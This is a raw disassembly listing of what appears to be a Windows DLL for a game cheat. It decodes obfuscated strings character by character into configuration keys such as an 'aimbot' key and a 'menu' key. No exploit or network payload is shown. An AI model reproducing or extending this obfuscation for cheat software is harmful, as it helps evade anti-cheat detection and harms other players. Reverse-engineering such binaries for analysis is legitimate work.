xor ecx, ecx
call fcn.1800bfea0
mov byte [rsp + 0x429], al
movups xmm0, xmmword [rsp + 0x410]
movups xmmword [rsp + 0x1fb0], xmm0
movsd xmm1, qword [rsp + 0x420]
movsd qword [rsp + 0x1fc0], xmm1
movzx eax, word [rsp + 0x428]
mov word [rsp + 0x1fc8], ax
lea rax, [rsp + 0x1fb0]
mov qword [rsp + 0x4b08], rax
lea rcx, [rsp + 0x3450]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1a]
lea rcx, [rsp + 0x3450]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x11fc], esi
nop dword [rax]
cmp esi, 0x1a
jge 0x1800829e0
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1fb0]
call fcn.1800c0990
movzx ecx, byte [rax]
call fcn.1800bfea0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3450]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x11fc], esi
jmp 0x1800829a0
lea rcx, [rsp + 0x3450]
call fcn.18000ce90
mov qword [rsp + 0x2568], rax
lea r8, [0x1801d1b00]
lea rdx, [rsp + 0x2568]
lea rcx, [rsp + 0x6580]
call fcn.1800c3430
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2098], xmm0
mov qword [rsp + 0x20a8], rax
mov dword [rsp + 0x20b0], eax
mov cl, 0x63
call fcn.1800bfe20
mov byte [rsp + 0x7e0], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe20
mov byte [rsp + 0x7e1], al
mov cl, 0x78
call fcn.1800bfe20
mov byte [rsp + 0x7e2], al
mov cl, 0x3a
call fcn.1800bfe20
mov byte [rsp + 0x7e3], al
mov cl, 0x3a
call fcn.1800bfe20
mov byte [rsp + 0x7e4], al
mov cl, 0x76
call fcn.1800bfe20
mov byte [rsp + 0x7e5], al
mov cl, 0x61
call fcn.1800bfe20
mov byte [rsp + 0x7e6], al
mov cl, WSAStartup
call fcn.1800bfe20
mov byte [rsp + 0x7e7], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe20
mov byte [rsp + 0x7e8], al
mov cl, 0x3a
call fcn.1800bfe20
mov byte [rsp + 0x7e9], al
mov cl, 0x3a
call fcn.1800bfe20
mov byte [rsp + 0x7ea], al
mov cl, 0x62
call fcn.1800bfe20
mov byte [rsp + 0x7eb], al
mov cl, 0x75
call fcn.1800bfe20
mov byte [rsp + 0x7ec], al
mov cl, 0x6c
call fcn.1800bfe20
mov byte [rsp + 0x7ed], al
mov cl, 0x6c
call fcn.1800bfe20
mov byte [rsp + 0x7ee], al
mov cl, 0x65
call fcn.1800bfe20
mov byte [rsp + 0x7ef], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe20
mov byte [rsp + 0x7f0], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe20
mov byte [rsp + 0x7f1], al
mov cl, 0x5f
call fcn.1800bfe20
mov byte [rsp + 0x7f2], al
mov cl, 0x69
call fcn.1800bfe20
mov byte [rsp + 0x7f3], al
mov cl, WSAGetLastError
call fcn.1800bfe20
mov byte [rsp + 0x7f4], al
mov cl, 0x5f
call fcn.1800bfe20
mov byte [rsp + 0x7f5], al
mov cl, 0x62
call fcn.1800bfe20
mov byte [rsp + 0x7f6], al
mov cl, 0x61
call fcn.1800bfe20
mov byte [rsp + 0x7f7], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe20
mov byte [rsp + 0x7f8], al
mov cl, 0x63
call fcn.1800bfe20
mov byte [rsp + 0x7f9], al
mov cl, 0x68
call fcn.1800bfe20
mov byte [rsp + 0x7fa], al
xor ecx, ecx
call fcn.1800bfe20
mov byte [rsp + 0x7fb], al
movups xmm0, xmmword [rsp + 0x7e0]
movups xmmword [rsp + 0x2098], xmm0
movsd xmm1, qword [rsp + 0x7f0]
movsd qword [rsp + 0x20a8], xmm1
mov eax, dword [rsp + 0x7f8]
mov dword [rsp + 0x20b0], eax
lea rax, [rsp + 0x2098]
mov qword [rsp + 0x4b10], rax
lea rcx, [rsp + 0x3430]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1c]
lea rcx, [rsp + 0x3430]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x11f8], esi
nop
cmp esi, 0x1c
jge 0x180082c60
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x2098]
call fcn.1800c09f0
movzx ecx, byte [rax]
call fcn.1800bfe20
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3430]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x11f8], esi
jmp 0x180082c20
lea rcx, [rsp + 0x3430]
call fcn.18000ce90
mov qword [rsp + 0x2390], rax
lea r8, [0x1801d1b04]
lea rdx, [rsp + 0x2390]
lea rcx, [rsp + 0x65b0]
call fcn.1800c3430
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x18f8], xmm0
mov dword [rsp + 0x1908], eax
mov word [rsp + 0x190c], ax
mov cl, 0x63
call fcn.1800bfe10
mov byte [rsp + 0xf8], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe10
mov byte [rsp + 0xf9], al
mov cl, 0x78
call fcn.1800bfe10
mov byte [rsp + 0xfa], al
mov cl, 0x3a
call fcn.1800bfe10
mov byte [rsp + 0xfb], al
mov cl, 0x3a
call fcn.1800bfe10
mov byte [rsp + 0xfc], al
mov cl, 0x6b
call fcn.1800bfe10
mov byte [rsp + 0xfd], al
mov cl, 0x65
call fcn.1800bfe10
mov byte [rsp + 0xfe], al
mov cl, 0x79
call fcn.1800bfe10
mov byte [rsp + 0xff], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe10
mov byte [rsp + 0x100], al
mov cl, 0x3a
call fcn.1800bfe10
mov byte [rsp + 0x101], al
mov cl, 0x3a
call fcn.1800bfe10
mov byte [rsp + 0x102], al
mov cl, 0x61
call fcn.1800bfe10
mov byte [rsp + 0x103], al
mov cl, 0x69
call fcn.1800bfe10
mov byte [rsp + 0x104], al
mov cl, 0x6d
call fcn.1800bfe10
mov byte [rsp + 0x105], al
mov cl, 0x62
call fcn.1800bfe10
mov byte [rsp + 0x106], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfe10
mov byte [rsp + 0x107], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe10
mov byte [rsp + 0x108], al
mov cl, 0x5f
call fcn.1800bfe10
mov byte [rsp + 0x109], al
mov cl, 0x6b
call fcn.1800bfe10
mov byte [rsp + 0x10a], al
mov cl, 0x65
call fcn.1800bfe10
mov byte [rsp + 0x10b], al
mov cl, 0x79
call fcn.1800bfe10
mov byte [rsp + 0x10c], al
xor ecx, ecx
call fcn.1800bfe10
mov byte [rsp + 0x10d], al
movups xmm0, xmmword [rsp + 0xf8]
movups xmmword [rsp + 0x18f8], xmm0
mov eax, dword [rsp + 0x108]
mov dword [rsp + 0x1908], eax
movzx eax, word [rsp + 0x10c]
mov word [rsp + 0x190c], ax
lea rax, [rsp + 0x18f8]
mov qword [rsp + 0x4b18], rax
lea rcx, [rsp + 0x3410]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x16]
lea rcx, [rsp + 0x3410]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x11f4], esi
nop dword [rax]
cmp esi, 0x16
jge 0x180082e90
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x18f8]
call fcn.1800c0a30
movzx ecx, byte [rax]
call fcn.1800bfe10
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3410]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x11f4], esi
jmp 0x180082e50
lea rcx, [rsp + 0x3410]
call fcn.18000ce90
mov qword [rsp + 0x2388], rax
lea r8, [0x1801d1a94]
lea rdx, [rsp + 0x2388]
lea rcx, [rsp + 0x65e0]
call fcn.1800c3430
xorps xmm0, xmm0
movups xmmword [rsp + 0x2610], xmm0
mov cl, 0x63
call fcn.1800bfca0
mov byte [rsp + 0xc80], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfca0
mov byte [rsp + 0xc81], al
mov cl, 0x78
call fcn.1800bfca0
mov byte [rsp + 0xc82], al
mov cl, 0x3a
call fcn.1800bfca0
mov byte [rsp + 0xc83], al
mov cl, 0x3a
call fcn.1800bfca0
mov byte [rsp + 0xc84], al
mov cl, 0x76
call fcn.1800bfca0
mov byte [rsp + 0xc85], al
mov cl, 0x61
call fcn.1800bfca0
mov byte [rsp + 0xc86], al
mov cl, WSAStartup
call fcn.1800bfca0
mov byte [rsp + 0xc87], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfca0
mov byte [rsp + 0xc88], al
mov cl, 0x3a
call fcn.1800bfca0
mov byte [rsp + 0xc89], al
mov cl, 0x3a
call fcn.1800bfca0
mov byte [rsp + 0xc8a], al
mov cl, 0x62
call fcn.1800bfca0
mov byte [rsp + 0xc8b], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfca0
mov byte [rsp + 0xc8c], al
mov cl, WSAGetLastError
call fcn.1800bfca0
mov byte [rsp + 0xc8d], al
mov cl, 0x65
call fcn.1800bfca0
mov byte [rsp + 0xc8e], al
xor ecx, ecx
call fcn.1800bfca0
mov byte [rsp + 0xc8f], al
movaps xmm0, xmmword [rsp + 0xc80]
movdqa xmmword [rsp + 0x2610], xmm0
lea rax, [rsp + 0x2610]
mov qword [rsp + 0x4b20], rax
lea rcx, [rsp + 0x33f0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x10]
lea rcx, [rsp + 0x33f0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x11f0], esi
cmp esi, 0x10
jge 0x180083037
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x2610]
call fcn.1800c0bc0
movzx ecx, byte [rax]
call fcn.1800bfca0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x33f0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x11f0], esi
jmp 0x180082ff7
lea rcx, [rsp + 0x33f0]
call fcn.18000ce90
mov qword [rsp + 0x2380], rax
lea r8, [0x1801eaec4]
lea rdx, [rsp + 0x2380]
lea rcx, [rsp + 0x6610]
call fcn.1800c3430
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2048], xmm0
mov dword [rsp + 0x2058], eax
mov cl, 0x63
call fcn.1800bfcc0
mov byte [rsp + 0x900], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfcc0
mov byte [rsp + 0x901], al
mov cl, 0x78
call fcn.1800bfcc0
mov byte [rsp + 0x902], al
mov cl, 0x3a
call fcn.1800bfcc0
mov byte [rsp + 0x903], al
mov cl, 0x3a
call fcn.1800bfcc0
mov byte [rsp + 0x904], al
mov cl, 0x6b
call fcn.1800bfcc0
mov byte [rsp + 0x905], al
mov cl, 0x65
call fcn.1800bfcc0
mov byte [rsp + 0x906], al
mov cl, 0x79
call fcn.1800bfcc0
mov byte [rsp + 0x907], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfcc0
mov byte [rsp + 0x908], al
mov cl, 0x3a
call fcn.1800bfcc0
mov byte [rsp + 0x909], al
mov cl, 0x3a
call fcn.1800bfcc0
mov byte [rsp + 0x90a], al
mov cl, 0x6d
call fcn.1800bfcc0
mov byte [rsp + 0x90b], al
mov cl, 0x65
call fcn.1800bfcc0
mov byte [rsp + 0x90c], al
mov cl, WSAGetLastError
call fcn.1800bfcc0
mov byte [rsp + 0x90d], al
mov cl, 0x75
call fcn.1800bfcc0
mov byte [rsp + 0x90e], al
mov cl, 0x5f
call fcn.1800bfcc0
mov byte [rsp + 0x90f], al
mov cl, 0x6b
call fcn.1800bfcc0
mov byte [rsp + 0x910], al
mov cl, 0x65
call fcn.1800bfcc0
mov byte [rsp + 0x911], al
mov cl, 0x79
call fcn.1800bfcc0
mov byte [rsp + 0x912], al
xor ecx, ecx
call fcn.1800bfcc0
mov byte [rsp + 0x913], al
movups xmm0, xmmword [rsp + 0x900]
movups xmmword [rsp + 0x2048], xmm0
mov eax, dword [rsp + 0x910]
mov dword [rsp + 0x2058], eax
lea rax, [rsp + 0x2048]
mov qword [rsp + 0x4b28], rax
lea rcx, [rsp + 0x33d0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x14]
lea rcx, [rsp + 0x33d0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x11ec], esi
nop dword [rax]
cmp esi, 0x14
jge 0x180083230
lea rcx, [rsp + 0x1070]
call fcn.1800c1b00
lea rcx, [rsp + 0x1028]
call fcn.1800c1b00
lea rcx, [rsp + 0xf68]
call fcn.1800c1b00
lea rcx, [rsp + 0x1058]
call fcn.1800c1b00
lea rcx, [rsp + 0x1418]
call fcn.1800c1b00
lea rcx, [rsp + 0xe88]
call fcn.1800c1b00
lea rcx, [rsp + 0xfb8]
call fcn.1800c1b00
lea rcx, [rsp + 0xf28]
call fcn.1800c1b00
lea rcx, [rsp + 0xe70]
call fcn.1800c1b00
call fcn.1800133d0
lea rcx, [rsp + 0xe78]
call fcn.1800c1b00
call fcn.1800133d0
lea rcx, [rsp + 0xe68]
call fcn.1800c1b00
call fcn.1800133d0
lea rcx, [rsp + 0xe80]
call fcn.1800c1b00
call fcn.1800133d0
lea rcx, [rsp + 0xee8]
call fcn.1800c1b00
lea rcx, [rsp + 0xec8]
call fcn.1800c1b00
lea rcx, [rsp + 0xea8]
call fcn.1800c1b00
lea rcx, [rsp + 0x2e20]
call fcn.1800c1b00
lea rcx, [rsp + 0x2e40]
call fcn.1800c1b00
lea rcx, [rsp + 0x2e60]
call fcn.1800c1b00
lea rcx, [rsp + 0x1010]
call fcn.1800c1b00
lea rcx, [rsp + 0x28e8]
call fcn.1800c1b00
lea rcx, [rsp + 0x2910]
call fcn.1800c1b00
lea rcx, [rsp + 0x2938]
call fcn.1800c1b00
lea rcx, [rsp + 0x2820]
call fcn.1800c1b00
lea rcx, [rsp + 0x2848]
call fcn.1800c1b00
lea rcx, [rsp + 0x27f8]
call fcn.1800c1b00
lea rcx, [rsp + 0x2780]
call fcn.1800c1b00
lea rcx, [rsp + 0x27a8]
call fcn.1800c1b00
lea rcx, [rsp + 0x27d0]
call fcn.1800c1b00
lea rcx, [rsp + 0x2870]
call fcn.1800c1b00
lea rcx, [rsp + 0x2898]
call fcn.1800c1b00
lea rcx, [rsp + 0x28c0]
call fcn.1800c1b00
lea rcx, [rsp + 0x1448]
call fcn.1800c1b00
lea rcx, [rsp + 0x12e0]
call fcn.1800c1b00
lea rcx, [rsp + 0x1040]
call fcn.1800c1b00
lea rcx, [rsp + 0xf08]
call fcn.1800c1b00
lea rcx, [rsp + 0xf98]
call fcn.1800c1b00
lea rcx, [rsp + 0xf48]
call fcn.1800c1b00
lea rcx, [rsp + 0x3c]
call fcn.1800c1b00
call fcn.1800133d0
lea rcx, [rsp + 0x68]
call fcn.1800c1b00
call fcn.1800133d0
lea rcx, [rsp + 0x58]
call fcn.1800c1b00
call fcn.1800133d0
lea rcx, [rsp + 0x48]
call fcn.1800c1b00
call fcn.1800133d0
lea rcx, [rsp + 0x34]
call fcn.1800c1b00
call fcn.1800133d0
lea rcx, [rsp + 0x13a0]
call fcn.1800c1b00
lea rcx, [rsp + 0x1430]
call fcn.1800c1b00
lea rcx, [rsp + 0x1388]
call fcn.1800c1b00
lea rcx, [rsp + 0xff8]
call fcn.1800c1b00
lea rcx, [rsp + 0x12a8]
call fcn.1800c1b00
lea rcx, [rsp + 0xfd8]
call fcn.1800c1b00
int3